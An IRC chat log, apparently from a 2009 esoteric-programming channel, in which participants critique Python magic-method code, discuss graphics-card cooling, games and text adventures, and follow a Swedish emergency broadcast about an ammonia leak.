22:54:48 Language internal 22:54:49 foo==bar 22:54:51 will call that 22:55:01 __foo__ is pronounced "magic foo" 22:55:02 :-) 22:55:06 15 class Never(Condition): 22:55:06 16 def __nonzero__(self): return False 22:55:06 17 def __str__(self): return '0' 22:55:06 18 def __repr__(self): return 'False' 22:55:09 stuff like that 22:55:14 and? 22:55:21 OO makes me sad :( 22:55:25 22:55 AnMaster: 17 def __str__(self): return '0' 22:55:25 22:55 AnMaster: 18 def __repr__(self): return 'False' 22:55:26 ↑ ok, that's fucked up 22:55:26 __str__ is probably automatic string conversion for printf-style things 22:55:28 AnMaster: why 22:55:33 Deewiant: yeah 22:55:34 __repr__ beats me 22:55:36 ehird, well not in general 22:55:38 repr is representation 22:55:40 __nonzero__ is implicit boolean conversin? 22:55:41 >>> 'foo' 22:55:41 +o 22:55:42 'foo' 22:55:42 but 22:55:45 >>> print 'foo' 22:55:46 foo 22:55:48 former is repr 22:55:52 nonzero is boolean shit, yep 22:56:02 but repring as False and stringing as 0? 22:56:06 he use nonzero for nodes to remove dead nodes 22:56:06 that's a recipe for confusion! 22:56:12 yes, but 22:56:14 Seems C-like 22:56:15 >>> Never() 22:56:16 False 22:56:18 >>> print Never() 22:56:19 0 22:56:21 is what would happen 22:56:27 if that makes sense to you, you're barmy 22:56:41 It could just be convenience for something 22:56:53 what is __getitem__ 22:56:55 "False" but 0 22:56:59 sorry, couldn't resist 22:57:04 ais523, :D 22:57:07 (that isn't legal Perl6 anyway, zeroness isn't a trait) 22:57:26 you can express it in Perl5 as Scalar::Util::dualvar 0, "False" 22:57:43 but dualvar messes around with compiler internals to get that weird result 22:57:47 ehird, well? 22:57:48 you probably aren't supposed to use it a lot 22:57:54 14 class _ExprMeta(type): 22:57:54 15 def __getitem__(self, offset): 22:57:54 16 return Expr(Expr(offset).code + [_EXPRREF]) 22:57:58 18 class Expr(object): 22:57:58 19 __metaclass__ = _ExprMeta 22:57:58 20 __slots__ = ['code'] 22:57:59 hm 22:58:01 AnMaster: foo[x] = foo.__getitem__(x) 22:58:03 no clue what that means 22:58:05 lern2google 22:58:06 please tell me 22:58:09 also, metaclass is complicated 22:58:12 and slots is complicated 22:58:19 ehird, is it bad or good thing 22:58:19 learn the python object model :-) 22:58:23 AnMaster: what? 22:58:24 It's obviously operator overloading for [] 22:58:39 286 def __str__(self): 22:58:39 287 self.code = self._simplify(self.code) 22:58:39 288 return repr(self) 22:58:46 290 def __repr__(self): 22:58:46 291 stack = [] 22:58:46 292 for c in self.code: 22:58:51 AnMaster: stop pasting 22:58:51 also 22:58:52 [ lots of code cut] 22:58:53 that __str__ is evil? 22:58:56 really evil 22:59:00 printing an object modifying it‽‽‽ 22:59:01 AnMaster: Pasting from pastebins since 2006 22:59:02 ehird, is it? 22:59:07 ehird, ah... 22:59:07 Deewiant++ 22:59:10 ehird: wow, I only just noticed that 22:59:11 agreed 22:59:30 that's considerably more evil than doing all your calculations in the paint callback 22:59:37 I charge lifthrasiir (sp) with the Class-A-Bajillion crime of writing terrible code 22:59:37 or even the mousemove callback 22:59:57 it overrides __gt__ __hash__ and various other ones 22:59:59 (the paint callback is excusable on occasion, the mousemove callback isn't unless moving the mouse should sensibly trigger the calculations) 23:00:13 91 __truediv__ = __div__ 23:00:13 92 __rtruediv__ = __rdiv__ 23:00:13 93 __floordiv__ = __div__ 23:00:13 94 __rfloordiv__ = __rdiv__ 23:00:15 hm 23:00:18 that looks odd 23:00:26 AnMaster: why? 23:00:35 it overrides __div__ and _rdiv__ btw 23:00:46 Am I mistaken, or was it not possible in Perl 5 to craft a scalar (with suitable magic) that returned arbitrary values for all three of {boolean context, string context, integer context}. I seem to remember reading something like that once, but Scalar::Util::dualvar only overrides string/integer ones, leaving truthness determined from the int value. 23:00:51 ehird, what is the difference between __div__ and __rdiv__ 23:00:59 a / b versus b / a? 23:01:04 what deewiant said 23:01:06 mhm 23:01:13 ah 23:01:15 AnMaster: if in a/b, a can't handle the b division 23:01:17 -!- oklodok has joined. 23:01:21 then b.__rdiv__(a) is called 23:01:22 right 23:01:26 it's a hack because python doesn't have multidispatch 23:01:32 D does that too 23:01:35 opFoo, opFoo_r 23:01:43 python only does it for a few operators 23:01:45 I think 23:01:49 I don't think there's an req 23:02:10 add/sub/mul/div/mod it seems like 23:02:32 ais523: your wikipedia makes horrible abuse of the semicolon 23:02:33 err 23:02:36 er, wikipedia user page 23:02:38 I think this is semi-evil: 23:02:40 141 def __int__(self): 23:02:40 142 assert self.simple() 23:02:40 143 return self.code[0] 23:02:44 ehird: really? where? 23:02:54 I haven't looked at that for ages 23:03:02 ais523: replacing ; a with . A: 23:03:03 Hello! I'm ais523, an incrementalist metapedian ex-administrator. (I removed my adminship due to inactivity. I'm sufficiently inactive nowadays that I'm unlikely to be able to answer queries on a resonable timeframe.) I'm happy to help new users (or experienced users, for that matter). Just leave a note on my talk page. In particular, I can help with wikimarkup (especially template wikimarkup), user scripts, and signatures. However, I'm not always online 23:03:07 . If you don't need help from me in particular, then placing {{helpme}} on your own user-talk page is likely to produce faster results. 23:03:10 It's very. Broken up. If you do that. 23:03:22 ehird: that's why it's better with a ; 23:03:31 ais523: yes, but it's not valid with . 23:03:34 therefore it's not valid with ; 23:03:38 err, that was never a rule 23:03:42 really? 23:03:54 I was always taught that you use ; when an . would work but would be awkward 23:03:56 this sentence is in two parts; and the second part starts with a conjunction 23:04:05 hmm 23:04:13 that particular sentence would be more natural with comma 23:04:20 but there are others where semicolon would work better 23:04:34 semicolon's somewhere between full stop and comma, grammatically 23:04:37 yes 23:04:39 __ior__ uhu? 23:04:48 is it defining inclusive or for strings? 23:04:54 ehird, where in python's docs are these documented 23:05:07 AnMaster: http://python.org/doc/2.6/ 23:05:08 Probably the page on which google finds them 23:05:08 >>> help(__mod__) 23:05:08 Traceback (most recent call last): 23:05:08 File "", line 1, in 23:05:08 NameError: name '__mod__' is not defined 23:05:11 tried that 23:05:12 searching for ior: 23:05:20 function:: ior(a, b) __ior__(a, b) ``a = ior(a, b)`` is equivalent to ``a |= b``. 23:05:28 So |= 23:05:36 AnMaster: __mod__ isn't a global function 23:05:37 ehird, what about in the interactive help 23:05:39 try help(mod) 23:05:44 and tough shit 23:05:45 ehird, ok 23:05:45 use the online docs 23:05:53 meh 23:05:55 actually, there's no global mod function 23:06:33 another updating __repr__ 23:06:45 AnMaster: this code sounds awful 23:06:54 i suspect it of being hacked together randomly 23:06:59 ehird, you loved esotope-bfc yesterday ;P 23:07:06 I love the output. 23:07:10 Just not the implementation! 23:07:20 126 # returns False if it is a no-op. cleanup pass will remove such no-ops. 23:07:20 127 def __nonzero__(self): return True 23:07:20 presumably it has a good algorithm, written badly 23:07:35 AnMaster: that's so evil 23:07:40 why not have a def nop(self): return True 23:07:40 is it another thing to show Python people to demonstrate that really, not all python is necessarily well-written? 23:07:47 ehird, no idea 23:07:48 ais523: they don't claim that 23:07:52 ehird: some of them do 23:07:54 ais523: they claim that all python is well-readable 23:07:58 257 class Nop(Node): 23:07:58 258 def __nonzero__(self): 23:07:58 259 return False 23:08:02 maybe because of that 23:08:02 :D 23:08:03 ais523: which it generally is, in a visual sense 23:08:08 due to the indentation requiremen 23:08:09 t 23:08:13 ehird, ^ 23:08:14 they claim that as there's only one way to write something, all python must be perfect 23:08:22 ais523: there's a term for these people 23:08:26 they're not specific to python 23:08:29 it's called "idiot" 23:08:33 one of them even suggested making Python Turing-incomplete in order to correct the problem that there was more than one way to write something 23:08:41 are you making shit up? 23:08:45 261 def emit(self, emitter): 23:08:45 262 pass 23:08:47 "pass"? 23:08:47 ehird: unfortunately no 23:08:52 AnMaster: "do nothing" 23:08:54 again python's interactive help fail me 23:08:55 LERN2GOOGLE 23:08:55 although I don't think he understood what turing-completeness was 23:08:59 I'm tired of answering your questions 23:09:03 ehird, fix the interactive help! 23:09:05 ais523: what did e say in particular? 23:09:09 AnMaster: THAT'S NOT WHAT MEANT FOR 23:09:11 *IT'S 23:09:14 THERE'S DOCS FOR A REASON! 23:09:17 To quote you: "RTFM" 23:09:19 it was a long time ago, also most of the people there were drunk and I was tired 23:09:22 I can't remember the exact words 23:09:25 ehird, then what is the interactive help meant for 23:09:27 if not for help 23:09:36 AnMaster: ... 23:09:40 "pass" is a consequence of Python's indentation rules 23:09:41 ehird, yes? 23:09:42 to look up the docstrings of classes and functions. 23:09:44 just like . in Thutu 23:09:51 not to teach you about the fscking object model!!!! 23:09:58 AnMaster: help() seems to explain its purpose quite well... 23:10:43 i want an lcd that has its off mode as white, not black 23:10:51 then you could have the uneyestrain of black with the pretty of white 23:11:02 Deewiant, hm ok 23:11:29 "Hm ok"‽ Did you really not read it? 23:12:06 what's with all the interrobangs around here recently? 23:12:10 they look ridiculous 23:12:19 Have there been many? 23:12:23 ais523: ‽‽‽‽‽‽ 23:12:26 a lot more than anywhere else 23:12:26 Deewiant: from me yes 23:12:30 and a lot more than there used to be 23:12:37 this ‽ glyph is ug ly 23:12:39 although not many on an absolute scale 23:12:49 and agreed with ehird, even though I'm likely seeing a different glyph to him 23:12:49 ais523: I got my unicode keyboard shortcuts and I leapt ↗ 23:12:52 mine's ugly too 23:13:02 http://upload.wikimedia.org/wikipedia/commons/8/83/Interrobang.svg ← this is what a proper interrobang should look like 23:13:07 (from palatino linotype) 23:13:16 the ! bit is longer in mine 23:13:21 it clashes with the top of the ? 23:13:23 yeah, that's the problem 23:13:26 they need to curve it more 23:14:46 "this computer costs around 600 euros. I agree with you : this is expensive." 23:14:50 $810 is expensive for a computer? 23:15:01 yes 23:15:06 -!- coppro has quit (Remote closed the connection). 23:15:07 well, dollars, maybe no 23:15:09 *not 23:15:10 ais523: it's expensive for a budget computer 23:15:14 agreed 23:15:18 ais523: £529 23:15:24 I'd expect to be paying about £400, and that was two years ago 23:15:28 nowadays I'd expect to be paying less 23:15:33 a decent core 2 duo laptop costs like £500 23:15:33 maybe £300 or £200 23:15:50 a high-end machine... sky's the limit, but regular is probably about £1,000 23:15:51 Computers that cost less than 1000 € are cheap 23:16:02 I mean — this iMac cost £1,000 23:16:17 -!- coppro has joined. 23:16:19 adjust for apple tax 23:17:16 oerjan: problem with the linked list idea—getting length is hard 23:17:20 since you have to sum up each elem's 23:17:29 although for 10KB chunk it probably doesn't matter 23:17:31 *chunks 23:18:06 ehird, this is for the slashes interp? 23:18:09 Just cache the length separately? 23:18:12 But, yeah, a really good high-end computer is like £2,000 23:18:17 Deewiant: that requires storing the base pointer 23:18:20 in the nodes 23:18:23 which would be possible, I grant you 23:18:24 but a fuss 23:18:25 AnMaster: yes 23:18:36 AnMaster: I'm storing a string in allocations of 10KB 23:18:36 ehird: Cache the length of the whole thing in each node 23:18:37 in a linked list 23:18:45 Deewiant: then growing/shrinking becomes a huge pain 23:18:47 ehird, how comes 23:19:10 ehird: Cache it in such a way that the only ones up-to-date are the ones you're currently using 23:19:16 Deewiant: impossible 23:19:20 So you don't have to update them all all the time 23:19:27 AnMaster: if I do it as one big char array, then I have to realloc every.single.command to keep the memory usage not growing forever. With 10KB blocks, I just free() if i go over a boundary 23:19:44 AnMaster: So an infinite loop that doesn't grow will grow memory usage up to 10KB, then shoot down 23:19:44 forever 23:19:58 avoids pricy realloc()ing 23:20:03 hm ok 23:20:11 http://forum.modrewrite.com/ ← mod_rewrite is so bloated it has its own forum 23:20:47 and why not/ 23:21:16 :P 23:21:27 is mod_rewrite TC? 23:21:29 yes 23:21:34 see olsner.se 23:21:40 thue in mod_rewrite 23:21:41 by our olsner 23:22:02 grr, it annoys me that the best graphics card that you can buy passively cooled by default is an ATI 23:22:10 ehird, so a .htaccess with mod_rewrite can hang a server forever 23:22:12 interesting 23:22:16 AnMaster: no 23:22:20 ehird, no? 23:22:22 I wonder if a nvidia card would work with a replaced cooler 23:22:29 AnMaster: with thue it's done as a series of redirects 23:22:33 ehird, ah 23:22:34 so if you killed the browser, the computation would end 23:23:06 hmm 23:23:19 the Accelero S1 Rev.2 claims to work with the 9800GTX+ but is that w/ a fan? 23:23:22 I bet so 23:23:28 ehird: my interpreter ran a BCT program successfully 23:23:33 oerjan: cool 23:23:33 ehird, is this olsner in here btw 23:23:39 AnMaster: "our", so yes, he used to be. 23:23:47 To provide passive cooling for high-end graphic cards, Accelero S1 Rev. 2 is a high performance passive cooler featuring 4 heatpipes connected with extra large surface area. It effectively removes a great deal of heat from the graphic cards keeping the components cool. Thanks to the elegant design, Accelero S1 Rev. 2 outperforms active cooling solutions. Accelero S1 Rev. 2 creates a true industry leading zero noise cooling solution for all enthusiast gam 23:23:49 ehird, ? 23:23:49 ers. 23:23:51 sounds promising! 23:23:55 AnMaster: I said "our olsner" 23:23:59 our implies he's one of us 23:24:18 ehird: that's marketingspeak for what every passive cooler ever does 23:24:20 ehird, I can't find thue in rewrite, only thue in haskell 23:24:25 ais523: I know 23:24:28 ais523: but it's passive, is the point 23:24:34 and claims support of a nice card 23:24:37 ah it is there 23:24:39 found it 23:24:47 YAY!!! It seems it can do it 23:25:28 -!- jix has quit (No route to host). 23:25:57 "Did you think you'd be back to Mummy7 by Christmas?"... ah, OCR'd e-books, nothing like 'em... 23:25:57 ok, mystery: one of SCO's accountants billed it $1.92 for two month's work 23:26:21 Now for an important question: Given only the characters / and \, what should the BCT interpreter output? 23:26:24 ais523: :D 23:26:43 actually, I think they might have been lawyers, not accountants 23:26:51 the question is, what work is so minor that they'd only bill that much? 23:26:52 oerjan: can we have a newline too? 23:26:57 going, anyway 23:26:57 currently it's all interspersed with debugging so i can see what it says 23:26:59 -!- ais523 has quit (Remote closed the connection). 23:26:59 ehird: no 23:27:06 oerjan: ok, then: 23:27:11 Gracenotes, hi. Did you check that music? 23:27:23 oerjan: \\ 23:27:27 oof, not yet. *checks recently bookmarked links* 23:27:36 ehird: eww 23:27:43 oerjan: it works 23:28:04 ehird: not within my design 23:28:14 well, I like the first 25 seconds :) 23:28:19 oerjan: heh 23:28:40 ahh can't wait for my new pc 23:28:44 more importantly, with this memory squeeze 23:29:04 very distinct mood he's trying to create 23:29:10 Kraus 23:29:18 the BCT page says that for turing completeness, one should output the deleted data bits 23:29:25 oerjan: do that then 23:29:28 Gracenotes, of the C minor symphony, final movement. Afterwards is the final movement of the C sharp minor symphony (the C minor symphony is a rewrite of it. I prefer the original) 23:29:44 * ehird plugs new hardware into psu calculator 23:29:47 can't go over 430W 23:29:49 oh well, maybe that's simplest 23:30:03 very Vienna-ish, if one can call it that 23:30:17 AnMaster: yes me :) 23:30:18 Gracenotes, no idea what you mean with that 23:30:40 yes, not very clear, given that Vienna has had many different musical eras 23:30:43 er 23:30:55 is "sounds similar to Mozart" better? :P 23:30:58 mod_rewrite has recursion limits (that can be configured to be above what's required to complete your program) 23:31:11 aah! olsner's here? 23:31:12 i didn't notice 23:31:14 but it has a very stupid memory allocator so you'll quickly run out of memory on the server :) 23:31:41 Gracenotes, yes. 23:31:43 it essentially doesn't free anything it allocates until it has completed the request 23:31:43 hmm... 85% of cpu tdp, 90% system load and no capacitor aging = 330 watts 23:31:58 Gracenotes, Vienna - Classical period? 23:32:00 which is good 23:32:17 yeah. 23:32:22 at 100% load though goes to 440 23:32:25 ah well 23:32:29 (w/ aging) 23:32:31 (of 20%) 23:32:33 Gracenotes, still, he has a lot of different variants in his works. 23:32:44 "In my view the card series requires you to have a 500 Watt power supply unit at minimum if you use it in a high-end system, and I think that's barely on the safe side." 23:32:49 guess i'll have to get a more beefy psu 23:33:55 ehird, louder PSU fan! 23:34:01 AnMaster: he seems to use a lot of classical idioms, but in an altered form (usually with them ending up going somewhere unexpected) 23:34:16 ehird, where is that quote from btw 23:34:33 AnMaster: w/ acoustipack and the natural noise dampening of the case, I can afford a few more dBA on the PSU. Especially since the Nexus 430 Value is below audibility 23:34:39 and from http://www.guru3d.com/article/geforce-9800-gtx-512mb-plus-review/3 23:34:40 -!- olsner has quit ("Leaving"). 23:34:44 Gracenotes, I don't know enough about that kind of stuff to respond to it. 23:34:58 -!- Corun has changed nick to Corun|away. 23:35:11 ah. Myself, I'm just going by what I think I hear... possibly mistaken 23:35:23 i'm just happy since i was a bit sad about the 9800GT being the best nvidia passively-cooled-when-bought card you could get 23:35:35 but — as always — 23:35:45 Gracenotes, well the cover of the cd does mention "unexpectedness" a lot 23:35:48 so probably right 23:35:50 http://www.arctic-cooling.com/catalog/images/AcceleroS1Rev2_pic_300.gif 23:35:53 a giant heatsink saves the day 23:36:00 it's bigger than my cpu heatsink ^.^ 23:36:26 Gracenotes, and he lived during the classical era. Using these idioms makes perfect sense. 23:36:40 ehird, scale 23:36:57 right. He seems to be aware of them on a meta level, I guess. 23:36:59 AnMaster: sec 23:37:02 ehird, it will take two PCI-E slots right? 23:37:05 23:37:11 AnMaster: http://www.pc-erfahrung.de/fileadmin/Daten/Bilder/vga-luefter-accelero-s1-07.jpg 23:37:14 ↑scale 23:37:22 bigger than the card it goes on :) 23:37:35 more scale: 23:37:35 ehird, make sure you can fit in other cards as well as it 23:37:36 http://media.photobucket.com/image/accelero%20s1%20rev.2/night_wolf_in/DSC00352.jpg 23:37:42 AnMaster: I don't need other cards 23:37:42 Gracenotes, heh 23:37:54 if I really do, I can get a shitty card to use when I do need to use them 23:38:09 AnMaster: but graphics cards are mounted facing downwards 23:38:15 so this shouldn't obstruct the slot 23:38:25 ehird, hm, what about the next slot 23:38:34 and all cards face downwards 23:38:38 AnMaster: well, yes 23:38:40 but the point is 23:38:45 the accelero will be well away from the slot 23:38:55 if anything the videocard will block it 23:38:56 ehird, yea, about three slots away! :P 23:38:58 and I can't really help that 23:39:05 23:39:46 along with games I'm gonna love doing parallel computation on the GPU 23:41:08 ehird, computing what 23:41:13 AnMaster: stuff! 23:41:19 ehird, such as 23:41:19 Anything massively parallel can go to the GPU. 23:41:28 ehird, you do that often? 23:41:30 AnMaster: I don't know, having the means will provide the inspiration :-) 23:41:38 fair enough 23:41:55 if I turn out to not do much of it, welp, it's still there for games 23:42:08 ehird, what about games. Didn't you say linux? The games I can think of on Linux runs just fine on a GeForce 7600 GS 23:42:28 AnMaster: I plan to dual-boot at some point. 23:42:36 ehird, to windows vista? 23:42:38 :D 23:42:42 Windows 7, probably. 23:42:52 you play games? 23:42:55 ehird, even so. that sounds crazy 23:42:59 oklodok, "dok"? 23:43:03 AnMaster: definitely. 23:43:06 that's a new one? 23:43:06 oklodok: not much, but that's mostly due to using a mac 23:43:18 I'm not a huge gamer, but I've wanted to try quite a few games for a while 23:43:18 ehird: i can't imagine you wasting your time on games 23:43:20 AnMaster: what sounds crazy/ 23:43:22 ? 23:43:34 ehird: okay i can imagine you trying out all games in existance 23:43:35 ehird, dual booting with win7 23:43:37 oklodok: I waste my time all the time 23:43:41 AnMaster: why's that sound crazy? 23:43:41 ehird, insecure :) 23:43:46 how 23:43:50 there's no ext4 drivers for win7 23:44:04 ehird, overwriting with zero would work 23:44:18 to mess up 23:44:21 that's why I'd run a virus scanner and a firewall and try and limit internetty stuff on the win7 partition 23:44:24 oh and you could do a virus too 23:44:24 ehird: i can imagine you wasting your time, just not on games, i think of you as more of a channel surfer than an intensive player. 23:44:37 oklodok: yes, I am very channel surfy 23:44:44 but I've wasted a lot of hours on Worms: Armageddon 23:44:50 oklodok, what about me and games 23:44:51 well that's an awesome game 23:44:57 yes, yes it is :) 23:45:14 AnMaster: i can imagine you playing a few well-chosen games 23:45:16 hmm the 9800 gtx+ is still beaten by the Radeon HD 4850 sometimes xD 23:45:20 oklodok: like TUX RACER!! 23:45:23 oklodok, correct 23:45:35 ehird, you play that? 23:45:37 using Hardware 3D Rendering(TM) technology 23:45:39 I tried it, boring 23:45:42 and 3DNow! 23:45:47 requires at least a Pentium III 23:45:50 AnMaster: 23:45 oklodok: AnMaster: i can imagine you playing a few well-chosen games 23:45:53 was what I was responding to 23:46:00 -!- Corun|away has changed nick to Corun. 23:46:22 AnMaster: i probably won't be dualbooting with windows w/ a 160GB X25-M though 23:46:26 a bit too small for comfort w/ games 23:46:31 what's tux raver 23:46:32 ... 23:46:33 racer 23:46:34 oklodok: tux raver 23:46:35 that sounds 23:46:36 awesome 23:46:38 yes 23:46:39 :) 23:46:49 oklodok, nethack, kmines, lbreakout, some stuff in zsnes and mupen64 (I love Zelda games). Oh and I could FlightGear as a simulator, not a game. 23:47:01 AnMaster: you gotta have a powerful rig to play nethack 23:47:06 that thing makes my hardware squeal 23:47:11 esp. in some of the battles 23:47:13 ehird, haha 23:47:20 totally amazing graphics though 23:47:24 AnMaster: enable anti-aliasing 23:47:25 it's amazing 23:47:33 everything just smooths ou 23:47:33 t 23:47:37 it's just like the real thing 23:47:37 ehird, I always set 2x AA in nvidia-settings 23:47:40 :P 23:47:53 AnMaster: try overclocking your GPU sometime... nethack will never be the same again 23:48:05 ehird, nethack doesn't use GPU powers 23:48:06 :P 23:48:20 haha, maybe that's what you think— but try higher anti-aliasing settings 23:48:26 that thing is taxing 23:48:28 you can only take irony to a limit before it gets tedious 23:48:29 ehird: i'm pretty sure AnMaster plays nethack in text-mode, that is, he uses somekinda thingy to play it with textual commands and responses instead of the usual graphics. 23:48:32 AnMaster: not irony, joke 23:48:40 oklodok: you're joking too right :D 23:48:43 like "a approaches from west" 23:48:47 hahahah 23:49:02 oklodok, and yes I play it in ASCII art mode. Tried QT mode. Didn't like it. 23:49:06 AnMaster: he's joking 23:49:09 he means: 23:49:13 you don't play it in the ncurses-esque mode 23:49:17 you play it in the text adventure mode 23:49:19 oh adventure style 23:49:21 instead of the "graphical" (console) mode 23:49:23 right 23:49:23 it's a joke. 23:49:25 laugh. 23:49:30 ehird, I misread it first 23:49:30 oklodok: sry for ruining it 23:49:31 and haha 23:49:51 ehird: no matters 23:49:52 but 23:49:58 such a mode would be awesome 23:50:02 in a horrible way 23:50:11 I always get lost in text adventures 23:50:11 yes 23:50:17 I prefer ASCII art like nethack 23:50:20 -!- oerjan has quit ("Good night"). 23:50:23 the hitchhiker's guide to the galaxy text adventure is fun 23:50:30 it's hard just getting out of the house 23:50:33 ehird, where is it? 23:50:42 AnMaster: er... an infocom floppy in the 80s 23:50:46 oh 23:50:50 AnMaster: there's a Flash version of it 23:50:52 made by the bbc 23:50:59 basically an interface to the infocom version 23:51:01 but, flash. 23:51:05 http://www.bbc.co.uk/radio4/hitchhikers/game.shtml 23:51:14 AIIIEEEEEEEEEEEEEEEEEEEEEEE! 23:51:29 AnMaster: you could try and download the Z-machine file 23:51:45 ehird, uhu. What emulator is best 23:51:49 it'd be technically illegal, but the BBC have it online in Flash, so it's not as if getting it for free is unintentional 23:51:50 and is it legal 23:51:51 ah 23:52:05 AnMaster: not sure about emulators; I'll look it up 23:52:16 ok I guess I could try them then 23:52:20 AnMaster: Frotz 23:52:24 just wondered if you knew some was good 23:52:25 mhm 23:52:26 http://frotz.sourceforge.net/ 23:52:38 in portage :) 23:52:38 terminal based, even 23:52:50 anyway I need to sleep now. Early morning tomorrow 23:52:53 night 23:52:53 bye 23:53:19 wow 23:53:34 the 9800GTX+ runs Crysis at 1920x1200 at 41fps 23:53:36 that's pretty good. 2009-05-19: 00:00:04 wow 00:00:10 AnMaster: welcome bac 00:00:11 k 00:00:12 radio went out with public message 00:00:14 over all channels 00:00:16 wut 00:00:19 what's happening 00:00:22 aliens? 00:00:28 AnMaster: aliens‽‽ 00:00:28 ehird, major gas leak in big city 00:00:37 yikes 00:00:41 AnMaster: of the deadly kind, I assume? 00:00:49 ehird, unknown 00:00:52 ehird, far from hear 00:00:54 here* 00:01:10 i'd interject with something like "that's what you get for being a dirty swede!" but it seems inappropriate 00:01:25 * ehird waits for the BBC to pick it up 00:01:41 ehird, it cut off in the middle of the news. Right in the middle of a sentence. 00:01:57 AnMaster: ... what caused that? The gas? 00:02:01 oh you mean 00:02:03 the broadcast 00:02:04 ehird, the message yeah 00:02:16 AnMaster: must be pretty bad tthen 00:02:26 ehird, "please go indoor and close all windows door and ventilation" 00:02:29 yeah 00:02:39 AnMaster: Yikes. 00:02:46 AnMaster: Severe, then. 00:02:57 ehird, from some industry there it seems. 00:03:06 * ehird F5 F5 F5 F5 on bbc.co.uk 00:03:09 (well okay, Cmd-R) 00:03:21 ehird, heh 00:04:24 ehird, there is nothing on the news anywhere about it yet... 00:04:28 not even on sr.se 00:04:29 yep 00:04:34 (radio's website) 00:04:35 AnMaster: must be very early report then 00:04:38 no time to write anything about it 00:04:39 ehird, yeah 00:04:46 which implies that the leak is very serious 00:06:13 AnMaster: you've got me all jumpy now :P 00:06:33 ehird, not that Swedish radio is very nocturnal. One channel shuts down after 01:30 until 06:00, one sends classical music streamed from BBC(!), the remaining two sends the same thing during the night, pop music. 00:07:06 mm 00:09:18 * ehird F5s sr.se too for good measure 00:10:27 AnMaster: also, wait 00:10:28 shut all windows? 00:10:30 it's 2am isn't it 00:10:34 ? 00:10:44 01:10 here 00:10:48 well, it seems like there wouldn't be many windows open at 2am :-P 00:10:49 well, 1am too 00:11:13 ehird, um, I slept with open window since mid-April 00:11:16 fresher air 00:11:23 AnMaster: in sweden? 00:11:24 ehird: even if you're up at 2am? 00:11:27 must freeze to death 00:11:35 ah 00:11:38 that's what you meant 00:11:43 oklodok: well, the windows in this house generally get closed when it gets cold at night 00:11:44 ehird, nah. I have a secret weapon 00:11:46 at least here it's been summer for weeks 00:11:58 oklodok: but it never really gets warm in .fi/.se does it :-P 00:12:08 ehird, anyway, no ventilation in this house, it is too old 00:12:16 built 1907 00:12:27 this is a victorian sort of house I think 00:12:30 well it's a flat 00:12:31 mhm 00:12:33 so half of a victorian house 00:12:35 well, it's sort of a flat 00:12:40 the bathroom is up a flight of stairs 00:12:43 it's rather silly 00:12:49 free standing 00:13:00 ehird: i don't know about your standards, but warm enough that i might keep a window open if i ever did 00:13:07 oklodok: what celsius? 00:13:24 AnMaster: waddya mean be freestanding 00:14:23 ehird, like http://sv.wikipedia.org/wiki/Fil:Villa-nyköping-ostra4.JPG 00:14:35 AnMaster: term is "detached house" 00:14:44 ehird, kay. in Swedish it is "villa" 00:14:48 I live in a flat in a terrace, so not nearly as free as that :-P 00:15:01 flat in a terrace? 00:15:13 AnMaster: a http://en.wikipedia.org/wiki/Terraced_house containing flats. 00:15:30 aka apartment 00:15:34 if you're oh so very american 00:15:36 :P 00:15:46 I'm not 00:15:54 ehird: i don't really know. i saw a 14 a few mornings ago, but it was very early. 00:16:00 may have been night 00:16:06 oklodok: 14C is what it's like here at night :-P 00:16:20 10C atm outside and it's midnight 00:16:22 ehird, I have a secret weapon 00:16:25 AnMaster: oh? 00:16:27 a BFG? 00:16:28 10C outside here too. 00:16:32 ehird, hot water bottle! 00:16:32 :P 00:16:39 http://outside.hut.fi/ is the temperature sensor at our university, but it gets direct sunlight, like you can see from the graphs. 00:16:41 fizzie: yeah but it's sweden. their celsi-ii is colder. 00:16:52 err 00:16:53 finland 00:16:57 ehird, actually, Finland is colder than Sweden 00:17:02 i said finland 00:17:03 it was a mistake 00:17:10 I meant that fizzie's 10C is colder than my 10C 00:17:11 :-P 00:17:17 uhu? 00:17:21 yes 00:17:24 it's a law of finnishology 00:17:28 fizzie: wow that graph is pretty 00:17:40 oklodok: it's like a sine wave after a beating 00:17:48 There's that five-years-or-so big graph at http://outside.hut.fi/five.html which might average out the worst sunlight-freak-o-temperatures. 00:18:03 -!- coppro has quit (Read error: 110 (Connection timed out)). 00:18:06 Since it's 24h average, or so they say. 00:18:32 The radiolab or some other people had a real weather-station readings, but I can never remember the URL for that. 00:19:02 ehird, also, slightly open, not wide open 00:19:14 http://www.yr.no says it is 8 C here 00:19:47 Oh, there it is. http://radio.tkk.fi/en/weather/ has some real data. 00:19:50 ehird, rained today, so colder than yesterday 00:20:40 still nothing on bbc or that sr.se thing 00:28:26 "Ammoniakutsläpp i Stenungsund" 00:28:30 http://www.svd.se/nyheter/inrikes/artikel_2917959.svd 00:28:31 there 00:28:35 damn 00:28:37 that is BAD 00:28:42 AnMaster: /me runs google translate 00:28:48 AnMaster: how bad 00:28:51 AnMaster: national crisis bad? 00:28:54 http://en.wikipedia.org/wiki/Ammonia 00:28:55 that bad 00:29:09 AnMaster: holy. fucking. shit. 00:29:22 says it was unclear how large it was 00:29:24 at midnight 00:29:52 Sorry, we are unable to translate the page you requested. 00:29:52 http://www.svd.se/nyheter/inrikes/artikel_2917959.svd 00:29:58 "Men enligt polisens länskommunikationscentral hade inte räddningstjänsten vid midnatt begärt någon hjälp av polisen angående avspärrningar eller eventuell evakuering." <-- emergency service had not requested any help with evacuation at the time of writing. Well I guess that changed since 00:30:07 the last is my comment. 00:30:24 AnMaster: could you translate the tagline and the two paragraphs? 00:30:30 kay 00:30:46 Ammoniakutsläpp i Stenungsund <-- Leak of ammonia in Stenungsund 00:30:56 Ett utsläpp av ammoniak har skett vid Axo Nobels anläggning i Stenungsund. Räddningstjänsten har i radion gått ut med ett så kallat Viktigt meddelande där allmänheten uppmanas att stanna inne, stänga fönster och ventilation. 00:32:08 A leak of ammonia has happened at Axo Nobel's plant/facility in Stenungsund. The Emergency service has in radio sent a so called Important message where people are asked to stay indoors, close windows and ventilation 00:32:15 that is a semi-broken grammar 00:32:19 in the translation 00:32:31 (couldn't be arsed to try to fix it) 00:32:36 Det var vid midnatt oklart hur stort utsläppet är. 00:32:36 Men enligt polisens länskommunikationscentral hade inte räddningstjänsten vid midnatt begärt någon hjälp av polisen angående avspärrningar eller eventuell evakuering. 00:32:50 AnMaster: "a so called Important" :-D 00:32:53 It is at midnight it unclear how large the leak is. 00:33:27 ehird, I think that is an official name "Important message" 00:33:32 eyah 00:33:33 yeah 00:33:34 it's just funny 00:33:35 it was with upper case in Swedish 00:33:39 since "so called X" means doubtfully-X 00:33:40 Men enligt polisens länskommunikationscentral hade inte räddningstjänsten vid midnatt begärt någon 